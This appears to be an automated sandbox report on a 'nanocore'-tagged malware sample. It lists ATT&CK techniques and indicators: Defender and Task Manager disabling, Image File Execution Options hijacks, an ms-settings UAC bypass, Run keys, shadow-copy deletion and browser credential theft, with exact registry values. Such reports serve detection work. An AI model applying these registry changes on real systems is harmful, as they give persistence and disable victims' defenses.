nanocore | 02c719b8dcd2d2f79c7f9a37b916eeff20c1d7446a943c895962a7db2f5c7ac4

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	anycomment.io_chromess.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5356	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	anycomment.io_chromess.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	anycomment.io_chromess.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	anycomment.io_chromess.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\anycomment.io_chromess.exe"	anycomment.io_chromess.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	anycomment.io_chromess.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\anycomment.io_chromess.exe"	anycomment.io_chromess.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	anycomment.io_chromess.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\anycomment.io_chromess.exe"	anycomment.io_chromess.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
1948	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 64 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	anycomment.io_chromess.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf	anycomment.io_chromess.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	anycomment.io_chromess.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\anycomment.io_chromess.exe"	anycomment.io_chromess.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\anycomment.io_chromess.exe"	anycomment.io_chromess.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\anycomment.io_chromess.exe"	anycomment.io_chromess.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	anycomment.io_chromess.exe
File created	C:\Windows\system32\sysupdate.exe	anycomment.io_chromess.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	anycomment.io_chromess.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
3076	tasklist.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	anycomment.io_chromess.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	anycomment.io_chromess.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4668	sc.exe
2072	sc.exe
2880	sc.exe
1912	sc.exe
928	sc.exe
6004	sc.exe
5984	sc.exe
480	sc.exe
5688	sc.exe
1384	sc.exe
4312	sc.exe
2540	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
828	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
332	NETSTAT.EXE
4616	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
1300	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2012	vssadmin.exe
3400	vssadmin.exe
2072	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\WallpaperStyle = "2"	anycomment.io_chromess.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134287352237167464"	chrome.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	anycomment.io_chromess.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\anycomment.io_chromess.exe\" \"%1\""	anycomment.io_chromess.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\anycomment.io_chromess.exe"	anycomment.io_chromess.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	anycomment.io_chromess.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	anycomment.io_chromess.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	anycomment.io_chromess.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	anycomment.io_chromess.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	anycomment.io_chromess.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	anycomment.io_chromess.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	anycomment.io_chromess.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	anycomment.io_chromess.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	anycomment.io_chromess.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\DelegateExecute	anycomment.io_chromess.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	anycomment.io_chromess.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	anycomment.io_chromess.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	anycomment.io_chromess.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
332	schtasks.exe
4076	schtasks.exe
4472	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5356	powershell.exe
5356	powershell.exe
4236	chrome.exe
4236	chrome.exe
5356	powershell.exe
5356	powershell.exe
5024	WMIC.exe
5024	WMIC.exe
5024	WMIC.exe
5024	WMIC.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4192	WMIC.exe
4192	WMIC.exe
4192	WMIC.exe
4192	WMIC.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
1676	WMIC.exe
1676	WMIC.exe
1676	WMIC.exe
1676	WMIC.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe
4972	anycomment.io_chromess.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4972	anycomment.io_chromess.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5356	powershell.exe
Token: SeShutdownPrivilege	4236	chrome.exe
Token: SeCreatePagefilePrivilege	4236	chrome.exe
Token: SeShutdownPrivilege	4236	chrome.exe
Token: SeCreatePagefilePrivilege	4236	chrome.exe
Token: SeShutdownPrivilege	4236	chrome.exe
Token: SeCreatePagefilePrivilege	4236	chrome.exe
Token: SeIncreaseQuotaPrivilege	5024	WMIC.exe
Token: SeSecurityPrivilege	5024	WMIC.exe
Token: SeTakeOwnershipPrivilege	5024	WMIC.exe
Token: SeLoadDriverPrivilege	5024	WMIC.exe
Token: SeSystemProfilePrivilege	5024	WMIC.exe
Token: SeSystemtimePrivilege	5024	WMIC.exe
Token: SeProfSingleProcessPrivilege	5024	WMIC.exe
Token: SeIncBasePriorityPrivilege	5024	WMIC.exe
Token: SeCreatePagefilePrivilege	5024	WMIC.exe
Token: SeBackupPrivilege	5024	WMIC.exe
Token: SeRestorePrivilege	5024	WMIC.exe
Token: SeShutdownPrivilege	5024	WMIC.exe
Token: SeDebugPrivilege	5024	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5024	WMIC.exe
Token: SeRemoteShutdownPrivilege	5024	WMIC.exe
Token: SeUndockPrivilege	5024	WMIC.exe
Token: SeManageVolumePrivilege	5024	WMIC.exe
Token: 33	5024	WMIC.exe
Token: 34	5024	WMIC.exe
Token: 35	5024	WMIC.exe
Token: 36	5024	WMIC.exe
Token: SeBackupPrivilege	3472	vssvc.exe
Token: SeRestorePrivilege	3472	vssvc.exe
Token: SeAuditPrivilege	3472	vssvc.exe
Token: SeIncreaseQuotaPrivilege	5024	WMIC.exe
Token: SeSecurityPrivilege	5024	WMIC.exe
Token: SeTakeOwnershipPrivilege	5024	WMIC.exe
Token: SeLoadDriverPrivilege	5024	WMIC.exe
Token: SeSystemProfilePrivilege	5024	WMIC.exe
Token: SeSystemtimePrivilege	5024	WMIC.exe
Token: SeProfSingleProcessPrivilege	5024	WMIC.exe
Token: SeIncBasePriorityPrivilege	5024	WMIC.exe
Token: SeCreatePagefilePrivilege	5024	WMIC.exe
Token: SeBackupPrivilege	5024	WMIC.exe
Token: SeRestorePrivilege	5024	WMIC.exe
Token: SeShutdownPrivilege	5024	WMIC.exe
Token: SeDebugPrivilege	5024	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5024	WMIC.exe
Token: SeRemoteShutdownPrivilege	5024	WMIC.exe
Token: SeUndockPrivilege	5024	WMIC.exe
Token: SeManageVolumePrivilege	5024	WMIC.exe
Token: 33	5024	WMIC.exe
Token: 34	5024	WMIC.exe
Token: 35	5024	WMIC.exe
Token: 36	5024	WMIC.exe
Token: SeShutdownPrivilege	4236	chrome.exe
Token: SeCreatePagefilePrivilege	4236	chrome.exe
Token: SeIncreaseQuotaPrivilege	5356	powershell.exe
Token: SeSecurityPrivilege	5356	powershell.exe
Token: SeTakeOwnershipPrivilege	5356	powershell.exe
Token: SeLoadDriverPrivilege	5356	powershell.exe
Token: SeSystemProfilePrivilege	5356	powershell.exe
Token: SeSystemtimePrivilege	5356	powershell.exe
Token: SeProfSingleProcessPrivilege	5356	powershell.exe
Token: SeIncBasePriorityPrivilege	5356	powershell.exe
Token: SeCreatePagefilePrivilege	5356	powershell.exe
Token: SeBackupPrivilege	5356	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe
4236	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4972	anycomment.io_chromess.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4972 wrote to memory of 4236	4972	anycomment.io_chromess.exe	88
PID 4236 wrote to memory of 3028	4236	chrome.exe	89
PID 4972 wrote to memory of 5356	4972	anycomment.io_chromess.exe	91
PID 4972 wrote to memory of 480	4972	anycomment.io_chromess.exe	93
PID 4972 wrote to memory of 5688	4972	anycomment.io_chromess.exe	155
PID 4972 wrote to memory of 2072	4972	anycomment.io_chromess.exe	177
PID 4972 wrote to memory of 2880	4972	anycomment.io_chromess.exe	156
PID 4236 wrote to memory of 4532	4236	chrome.exe	100
PID 4236 wrote to memory of 4532	4236	chrome.exe	100
PID 4236 wrote to memory of 828	4236	chrome.exe	101
PID 4236 wrote to memory of 4296	4236	chrome.exe	103
PID 4236 wrote to memory of 4296	4236	chrome.exe	103
PID 4236 wrote to memory of 2584	4236	chrome.exe	105
PID 4236 wrote to memory of 5252	4236	chrome.exe	106
PID 4236 wrote to memory of 2584	4236	chrome.exe	105
PID 4236 wrote to memory of 5252	4236	chrome.exe	106
PID 4972 wrote to memory of 1384	4972	anycomment.io_chromess.exe	107
PID 4972 wrote to memory of 4312	4972	anycomment.io_chromess.exe	109
PID 4972 wrote to memory of 1912	4972	anycomment.io_chromess.exe	111
PID 4972 wrote to memory of 928	4972	anycomment.io_chromess.exe	113
PID 4972 wrote to memory of 2364	4972	anycomment.io_chromess.exe	115
PID 4972 wrote to memory of 2540	4972	anycomment.io_chromess.exe	116
PID 4236 wrote to memory of 2188	4236	chrome.exe	118
PID 4236 wrote to memory of 2188	4236	chrome.exe	118
PID 2364 wrote to memory of 896	2364	fodhelper.exe	119
PID 4972 wrote to memory of 6004	4972	anycomment.io_chromess.exe	142
PID 4972 wrote to memory of 2012	4972	anycomment.io_chromess.exe	176
PID 4972 wrote to memory of 5024	4972	anycomment.io_chromess.exe	124
PID 4236 wrote to memory of 5584	4236	chrome.exe	131
PID 4236 wrote to memory of 5584	4236	chrome.exe	131
PID 4972 wrote to memory of 4524	4972	anycomment.io_chromess.exe	132
PID 4972 wrote to memory of 4472	4972	anycomment.io_chromess.exe	133
PID 4972 wrote to memory of 332	4972	anycomment.io_chromess.exe	161
PID 4972 wrote to memory of 5896	4972	anycomment.io_chromess.exe	140
PID 4972 wrote to memory of 6004	4972	anycomment.io_chromess.exe	142
PID 4972 wrote to memory of 3340	4972	anycomment.io_chromess.exe	143
PID 4972 wrote to memory of 772	4972	anycomment.io_chromess.exe	144
PID 4972 wrote to memory of 956	4972	anycomment.io_chromess.exe	145
PID 4972 wrote to memory of 5868	4972	anycomment.io_chromess.exe	146
